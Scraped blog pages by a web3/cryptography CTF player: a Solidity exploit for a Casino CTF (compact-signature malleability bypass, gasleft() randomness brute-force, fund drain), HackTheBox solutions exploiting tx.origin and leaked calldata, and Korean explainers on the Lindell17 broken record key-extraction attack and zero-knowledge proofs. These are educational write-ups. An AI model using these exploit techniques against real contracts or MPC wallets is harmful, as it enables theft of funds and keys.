Processing math: 2%

In the given Casino.sol, we can deposit or withdraw native tokens, and increase our balances through the bet function with the deposited assets.

However, in withdraw function, we can check that it is withdrawn as a predetermined reciever rather than the receiver we set. 😂 Therefore, we need to use the reset function to withdraw to holder.

    function isSolved() external view returns (bool) {
        return address(PLAYER).balance >= 99 ether
            && address(CASINO).balance == 0;
    }

 

In order to pass isSolved() function, the following 3 steps are required:

  1. Call pause function in order to pass whenNotPaused modifier
  2. Break random value of bet function
  3. Call reset function

 

Call pause function in order to pass whenNotPaused modifier

contract Deploy is CTFDeployer {
    function deploy(address system, address player) internal override returns (address challenge) {
        vm.startBroadcast(system);

        challenge = address(new Challenge(player));
        Casino casino = Challenge(challenge).CASINO();
        casino.deposit{value: 100 ether}(system);

        uint systemPK = vm.deriveKey(vm.envString("MNEMONIC"), 1);
        bytes32 salt = 0x5365718353c0589dc12370fcad71d2e7eb4dcb557cfbea5abb41fb9d4a9ffd3a;
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(systemPK, keccak256(abi.encode(0, salt)));
        casino.pause(
            abi.encodePacked(r, s, v),
            salt
        );

        salt = 0x7867dc2b606f63c4ad88af7e48c7b934255163b45fb275880b4b451fa5d25e1b;
        (v, r, s) = vm.sign(systemPK, keccak256(abi.encode(1, system, 1 ether, salt)));
        casino.reset(
            abi.encodePacked(r, s, v),
            payable(system),
            1 ether,
            salt
        );

        vm.stopBroadcast();
    }
}

 

In the given Deploy.s.sol, system which is signer of Casino contract generated 65-length signature. Since the Ecdsa.sol that Deploy.s.sol refers to is an older version, we can create another signature created by system with the compact signature. (fixed here)

Break random value of bet function

uint256 random = uint256(keccak256(abi.encode(gasleft(), block.number, totalBets)));

 

There are 2 ways to break random value of bet function:

  1. Debug gas used to expect gasleft() when calculating random value

We can expect that 521 gas was used until gasleft() is calculated. (e.g. If we call bet function like casino.bet{value: 30521}, gasleft() function will return 30000)

  1. Brute force gasleft() value until we win, otherwise revert

I chose 2nd method.

 

Call reset function

We can also call reset function normally with the compact signature like pause function.

 

Exploit

ex.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Script, console} from "forge-std/Script.sol";
import {Challenge} from "../src/Challenge.sol";
import {Casino} from "../src/Casino.sol";

contract Ex is Script {
    Challenge chall = Challenge(0xD9c231794C7EC3e5602dF3Be2BA3e74Bb7d487Af);
    Casino casino = Casino(chall.CASINO());

    function run() public {
        uint256 pk = <pk>;
        address user = vm.addr(pk);
        uint256 goal = ~address(casino).balance;
        // cast block 0 --rpc-url $rpc
        // cast block 1 --rpc-url $rpc
        // cast block 2 --rpc-url $rpc
        // cast block 3 --rpc-url $rpc
        // 3rd tx -> pause
        // 4th tx -> reset
        // cast tx <tx_hash> --rpc-url $rpc -> signature == input[-192:]
        // signature depends on your instance
        bytes memory sig_pause = hex"54d54e11cc8394a0ab47f5d92373df1c7d74ef66150eff6e5fcce35b624f5e4323eadc96a57be1648e58eeef67a606123bae93c2a58610cdffe7b1278368b66c";
        bytes memory sig_reset = hex"1fc4a02e026901ac39141161663a220df511d9b6653b31773f2c5fc00da4ef23c74f43d1332c3909a5ee8071f0f581f5b301d3ce8637f7d6d15e857062d39c98";

        vm.startBroadcast(pk);

        // 1. pause
        casino.pause(convertToCompactSignature(sig_pause), 0x5365718353c0589dc12370fcad71d2e7eb4dcb557cfbea5abb41fb9d4a9ffd3a);
        console.log("After pause: ", casino.paused());

        // 2. bet
        console.log("Goal:", goal);
        Attacker attacker = new Attacker(user, payable(address(casino)));
        attacker.deposit{value: 0.5 ether}();
        attacker.attack_brute_force();
        console.log("After attack: ", casino.balances(address(attacker)));

        // 3. reset
        casino.reset(convertToCompactSignature(sig_reset), payable(casino.signer()), 1 ether, 0x7867dc2b606f63c4ad88af7e48c7b934255163b45fb275880b4b451fa5d25e1b);        

        attacker.withdraw();

        console.log("My balance: ", user.balance);
        console.log("Solved: ", chall.isSolved());
        vm.stopBroadcast();
    }

    function convertToCompactSignature(bytes memory sig) public returns (bytes memory) {
        bytes32 r;
        bytes32 s;
        uint8 v;

        assembly {
            r := mload(add(sig, 0x20))
            s := mload(add(sig, 0x40))
            v := byte(0, mload(add(sig, 0x60)))
        }

        bytes32 vs;
        vs = bytes32(uint256(v%27)<<255) | s;

        return abi.encodePacked(r, vs);
    }
}

contract Attacker {
    address user;
    Casino casino;

    constructor(address user_, address payable casino_) {
        user = user_;
        casino = Casino(casino_);
    }

    function deposit() external payable {
        casino.deposit{value: msg.value}(address(this));
    }

    function withdraw() external {
        payable(user).call{value: address(this).balance}("");
    }

    function attack_brute_force() external {
        uint256 goal = ~address(casino).balance; // ~~~ equals ~
        uint256 gasleft_bf = 32000;
        uint256 amount = 0.5 ether;

        for (uint i = 0; i < 257; i++) {
            for (uint j = 0; j < 50; j++) {
                try this.bet(gasleft_bf, amount) {
                    amount *= 2;
                    break;
                } catch {
                    gasleft_bf++;
                }
            }

            if (amount > goal/2) {
                for (uint j = 0; j < 100; j++) {
                    try this.bet(gasleft_bf, goal - amount) {
                        break;
                    } catch {
                        gasleft_bf++;
                    }
                }
                break;
            }
        }
    }

    function bet(uint256 gasleft_bf, uint256 amount) external returns (bool) {
        bool res = casino.bet{gas: gasleft_bf}(amount);
        require(res, "lose");
    }

    receive() external payable {}
}

// forge script --rpc-url $rpc script/ex.sol:Ex --broadcast
// rctf{@lic3_u_C4n_d0_b3tT3r_th4n_th1S_bdc7bb482720bc332ba3cd5b}

specialize in crypto(graphy) and interested in web3 security



Education & Experience
2022.03~ : Korea University
2023~ : CyKor regular member
2023.10~ : thehackerscrew
2024.03~ 2024.07 : Blockchain Valley Development team
2024.07~ 2024.11 : Upside Academy
2025.03~ : Chainlight Intern Researcher



Presentation
2024 : UDC conference 2024 (Upside Academy project - Account Abstraction audit & Threat Modeling)



Information
Cryptohack profile : here
Dreamhack profile : here
blog for only cryptography : here
blog for only web3 : here
twitter : here



Archievements
2023
zer0pts CTF 🥈(2nd) (team : CyKor)
vsCTF 🥇(1st) (team : CyberSpace)
Srdnlen CTF 4th (team : thehackerscrew)
HK Cyber Security New Generation CTF 5th (team : thehackerscrew)
GlacierCTF academic 🥈(2nd) (team : CyKor)
m0leCon CTF final 5th (team : thehackerscrew)
backdoor CTF 🥈(2nd) (team : thehackerscrew)
ASIS CTF Finals 🥉(3rd) (team : thehackerscrew)




2024
IrisCTF 🥈(2nd) (team : thehackerscrew)
LA CTF 🥉(3nd) (team : thehackerscrew)
2024 Feb Space War crypto 🥉(3nd) (solo)
Dreamhack invitational 8th + Crypto award (1000000KRW) (solo)

Lindell17 protocol은 2017년 Lindell에 의해 개발되었으며 대표적인 MPC 중 하나이다. Lindell17 protocol에서는 two parties가 ECDSA key의 분리된 share을 생성하고 두 party가 모두 message를 sign하고 싶을 때에만 sign할 수 있다.

Practical Key-Extraction Attacks in Leading MPC Wallets 를 기반으로 Lindell17 protocol과 이에 대한 broken record attack을 소개하겠다.


Lindell17 protocol에 쓰이는 Paillier Encryption을 먼저 살펴보자.

Paillier Encryption

p,q : 1024 bit prime
public key : N=pq
private key : σ=(p-1)(q-1)

Encryption

message m ∈ Z_n, random number ρ∈Z_N^*

Enc_N(m;ρ) = (1 + N)^mρ^N \ (mod \ N^2)

Decryption

ciphertext C∈Z_{N^2}^* , µ = σ^{-1} \ (mod \ N)
Dec_σ(C) = (\frac{C^σ \ (mod \ N^2) -1}{N})µ \ (mod \ N)
= (\frac{(1 + N)^{mσ} \ (mod \ N^2) - 1}{N})µ \ (mod \ N) \ \ \ (\because ρ^{Nσ} = 1 \ (mod \ N^2))
= (\frac{1 + mσN - 1}{N})µ \ (mod \ N)
= (mσ)µ \ (mod \ N)
=m \ (mod \ N)


Lindell17 protocol

KeyGen

Alice와 Bob이 group-generator-order tuple (G, g, q)을 생성하고 x_A, x_B ∈Z_q에 대하여 다음과 같이 key를 생성한다.
(N, σ) \leftarrow PailKeys \ \ and \ \ X=g^{x_A + x_B}, C \leftarrow Enc_N(x_B)
*여기서 G는 타원곡선 점들의 집합, g는 타원곡선의 generator, q는 타원곡선의 order을 말하는 것으로 보인다.즉, g^kk와 generator을 곱한 점의 x좌표를 말한다.


public key : X∈G, N∈Z
Alice's private key : x_A
Bob's private key : x_B, σ


또한, C가 Alice에게 전달된다.

Protocol

*MulShare은 k_A, k_B를 주면 R = g^{k_Ak_B}를 주는 oracle이다.

*operation 4에 k_2^{-1}Dec_σ(C)가 아니라 k_B^{-1}Dec_σ(D)인 것 같다.


Operation 자체는 꽤 단순하다.
4 부분만 보자.
s = k_B^{-1}Dec_σ(D) \ (mod \ q)
= k_B^{-1}Dec_σ(Enc_N(k_A^{-1}(m+rx_A) \ (mod \ q))Enc_N(x_Brk_A^{-1} \ (mod \ q))) \ (mod q)
= k_B^{-1}Dec_σ(Enc_N(k_A^{-1}(m+rx_A )+ x_Brk_A^{-1} \ (mod \ q)) \ (mod q)
(\because paillier \ encryption \ is \ additively \ homomorphic)
= k_B^{-1}k_A^{-1}(m + r(x_A + x_B)) \ (mod \ q)

위 과정으로 인해 Bob은 Alice로부터 D를 받아 valid signature인 s를 계산할 수 있다.

결론적으로 Alice와 Bob은 message m에 대한 서명 r, s를 protocol을 통해 생성할 수 있다.

Broken Record Attack

Bob은 x_B - y_B \ (mod \ 2^l) = 0 인 경우에만 signature을 올바르게 생성할 수 있다. 따라서 Alice(attacker)는 l을 1씩 늘려가며 Bob의 response에 따라 x_B의 lsb를 하나씩 leak할 수 있다.

Proof

Alice가 k_A = 2^l로 고른다면 s = (2^lk_B)^{-1}(m+r(x_A+x_B)) \ (mod \ q) 가 된다.
\zeta = 2^{-l}(m+rx_A) \ (mod \ q), \zeta' = y_Br'2^{-l} \ (mod \ q)라 하면

)

위와 같은 과정을 통해 증명이 된다.




혹여나 Broken record attack 관련 wargame을 풀고 싶다면 DownUnderCTF2024에 출제된 super party computation을 풀어보길 바란다. CVE-2023-33242기반의 문제이며 이 문제의 Mulshare oracle에서 x_A+x_B가 아닌 x_Ax_B로 계산하지만 공격 자체는 완벽히 동일하게 통한다.

이 글에서는 interactive ZKP와 non-interactive ZKP가 무엇인지와 그 예시에 대하여 알아본다.


Interactive proof system이란 prover와 verifier 사이의 정보를 교환하는 computation을 모델링한 이론적인 컴퓨팅 모델이다. Interactive proof에서는 prover가 infinite computing power을, verifier은 제한된 computing power을 가지고 있으므로 주로 prover가 dishonest한 경우를 가정하고 공격 시나리오를 생각한다.

하지만 verifier가 dishonest한 경우를 고려하기 시작하면서 ZKP가 등장하였다.

 

Property of ZKP

ZKP는 항상 다음과 같은 조건을 모두 만족시켜야 한다.

  • Completeness : honest prover가 secret을 알고 있다면 honest verifier은 이를 납득할 수 있다.
  • Soundness : honest verifier가 납득한다면 prover은 secret을 알고 있는 것이다. 즉, prover가 secret을 모른다면 verifier을 납득시킬 수 없다.
  • Zero-knowledgeness : dishonest verifier는 secret에 대한 그 어느 정보도 알 수 없다.

 

Fiat-Shamir protocol

Interactive ZKP의 대표적인 예시인 Fiat-Shamir protocol을 알아보자.


Goal
v와 큰 소수 2개의 곱으로 이루어진 n에 대하여 v = s^2 \ (mod \ n)을 만족하는 s가 존재함을 prover가 verifier에게 납득시키려 한다.


setup
private input는 prover만 알고 있고, public input는 prover와 verifier 모두가 알고 있는 정보이다.

  • private input : s
  • public input : n, 그리고 v = s^2 \ (mod \ n)를 만족하는 v

  1. Commitment : Prover은 random한 수 r을 골라 verifier에게 r에 대한 commitment x를 전달한다.
  2. Challenge : Verifier은 prover에게 0 또는 1을 challenge값으로 전달한다.
  3. Response : Prover은 verifier에게 y를 전달한다.
  4. Verification : Verifier은 y^2 = xv^e \ (mod \ n)을 만족하는지 확인한다.

위의 과정을 여러 번 반복하면 malicious prover가 verification을 모두 통과할 가능성이 적어진다.

  • Completeness
    e=0 \rightarrow y = r, y^2 = r^2 = x = xv^0 \ (mod \ n)
    e=1 \rightarrow y = rs \ (mod \ n), y^2 = r^2s^2 = xv^1 \ (mod \ n)
  • Soundness
    e=1 \rightarrow x = \frac{r^2}{v}로 Commitment에서 보냄
    y=r로 response하면 verification통과, 즉, 50%확률로 verifier의 e를 예상하여 통과 가능
    여러 번 반복하므로 soundness도 만족
  • Zero-knowledgeness
    원래는 simulator을 생성하여 얻을 수 있는 정보와 실제를 비교하여 같음을 증명해야 하지만 brief하게 설명하자면 verifier은 s에 대한 어느 정보도 얻지 못하므로 만족



Interactive ZKP의 경우, prover와 verifier가 항상 on-line상태여야 하고 연산을 반복해야 하므로 비효율적이라는 단점이 있다. 그래서 나온게 non-interactive ZKP이다.

Schnorr identification protocol

Non-interactive ZKP의 예시인 Schnorr identification protocol을 알아보자.


Non-interactive는 prover와 verifier의 정보 교환이 최소화되는 것이 핵심이다. prover은 verifier에게 증명에 필요한 정보를 주기만 하고 받지는 않는다.


Goal
소수 p에 대하여 h = g^x \ (mod \ p)를 만족하는 x를 알고 있음을 prover가 verifier에게 납득시키려 한다.


setup

  • private input : x
  • public input : p, g, h, 그리고 q \ | \ p-1, g^q=1 \ (mod \ p)를 만족하는 q

  • Completeness
    g^z = g^{r+xc} = uh^c \ (mod \ p)
  • Soundness
    u가 확정되면 c도 확정되므로 그에 맞는 z를 찾기 위해서는 dlp를 풀어야한다. 따라서 x를 모르면서 g^z=uh^c \ (mod \ p)를 만족하는 (u,c,z)를 찾을 확률은 negligible하다.
  • Zero-knowledgeness
    verifier은 x에 대한 어느 정보도 얻지 못하므로 만족



Non-interactive ZKP에서 succinctness(간결함), 즉, proof size를 줄이고 빠르게 verify를 할 수 있도록 하여 실용성을 극대화시킨 것이 zk-SNARKs라고 한다. 이는 차차 공부해보자.

Rivals.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Rivals {
    event Voice(uint256 indexed severity);

    bytes32 private encryptedFlag;
    bytes32 private hashedFlag;
    address public solver;

    constructor(bytes32 _encrypted, bytes32 _hashed) {
        encryptedFlag = _encrypted;
        hashedFlag = _hashed;
    }

    function talk(bytes32 _key) external {
        bytes32 _flag = _key ^ encryptedFlag;
        if (keccak256(abi.encode(_flag)) == hashedFlag) {
            solver = msg.sender;
            emit Voice(5);
        } else {
            emit Voice(block.timestamp % 5);
        }
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Rivals} from "./Rivals.sol";

contract Setup {
    Rivals public immutable TARGET;

    constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
        TARGET = new Rivals(_encryptedFlag, _hashed);
    }

    function isSolved(address _player) public view returns (bool) {
        return TARGET.solver() == _player;
    }
}

 

solver를 msg.sender로 만들어야 한다. talk함수에서 if문의 조건을 만족시키면 Voice(5)가, 그렇지 못하면 Voice(block.timestamp%5)가 수행된다.

 

유일하게 public변수인 solver을 출력해보면 초기값인 0이 아니라 다른 주소이다. 즉, 이미 talk함수를 호출하여 if문의 조건을 충족시켜 solver가 특정 주소로 변한 것이다. 여기서 중요한 점은 talk함수를 호출하면 무조건 event가 발생하며, if문의 조건을 충족시킨 경우에만 이벤트의 인자가 5가 된다는 것이다. 따라서 event log에서 이를 찾아서 input, 즉, key를 leak할 수 있다.

 

ex.py

from web3 import Web3
import requests
import json

url = "http://94.237.54.214:59399"

info = json.loads(requests.get(url + "/connection_info").content)

privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]
pub_address = info["Address"]

w3 = Web3(Web3.HTTPProvider(url + '/rpc'))

def string_to_bytes32(text):
    return Web3.to_bytes(text=text).ljust(32, b'\0')

contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read())

logs = contract.events.Voice().get_logs(fromBlock=0)

for log in logs:
    tx_receipt = w3.eth.wait_for_transaction_receipt(log['transactionHash'].hex())
    if tx_receipt['logs'][0]['topics'][1] == b'\x00'*31 + b'\x05':
        print("find!!!")
        tx_hash = log['transactionHash'].hex()
        break

key = w3.eth.get_transaction(tx_hash)['input'].hex()
key = bytes.fromhex(key[2:])[4:] # key is including function selector which is 4 bytes

transaction = contract.functions.talk(key).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": pub_address,
        "nonce": w3.eth.get_transaction_count(pub_address),
        "value": 0 
    }
)

sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(requests.get(url + '/flag').content.decode())

'wargame' 카테고리의 다른 글

hackthebox - Distract and Destroy  (1) 2024.05.15

Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

 

tx.origin과 msg.sender가 달라야 한다. tx.origin은 EOA로 고정이므로 중간에 attack을 호출하는 Middle 컨트랙트를 배포하여 msg.sender가 Middle 컨트랙트의 주소가 되도록 하면 된다. 또한, aggro가 msg.sender와 달라야 하고 초기값인 0이면 msg.sender로 설정되므로 tx.origin에서 우선 attack함수를 호출하여 aggro를 tx.origin으로 설정해줘야 한다.

 

from web3 import Web3
import requests
import json
from solcx import *

url = "http://94.237.63.83:39628"
key = json.loads(requests.get(url + "/connection_info").content)

privkey = key["PrivateKey"]
target_addr = key["TargetAddress"]
pub_address = key["Address"]

w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected() == True

dir_contract = w3.eth.contract(address=target_addr, abi = open('creature.json','r').read())

# set aggro to tx.origin
dir_contract.functions.attack(1000).transact()

source_code = """
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Middle {
    constructor (address target, uint256 _damage) {
        (bool success, bytes memory result) = target.call(abi.encodeWithSignature("attack(uint256)", _damage));
        require(success, string(result));
    }
}
"""

compiled_sol = compile_source(source_code, output_values=["abi", "bin"])
_, contract_interface = compiled_sol.popitem()
bytecode = contract_interface["bin"]
abi2 = contract_interface["abi"]
contract2 = w3.eth.contract(abi=abi2, bytecode=bytecode)

transaction = contract2.constructor(target_addr, 1000).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": pub_address,
        "nonce": w3.eth.get_transaction_count(pub_address),
        "value": 0 
    }
)

sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(tx_receipt)

print(dir_contract.functions.lifePoints().call())
dir_contract.functions.loot().transact()
print(requests.get(url + '/flag').content)

'wargame' 카테고리의 다른 글

hackthebox - Honor Among Thieves  (1) 2024.05.15

+ Recent posts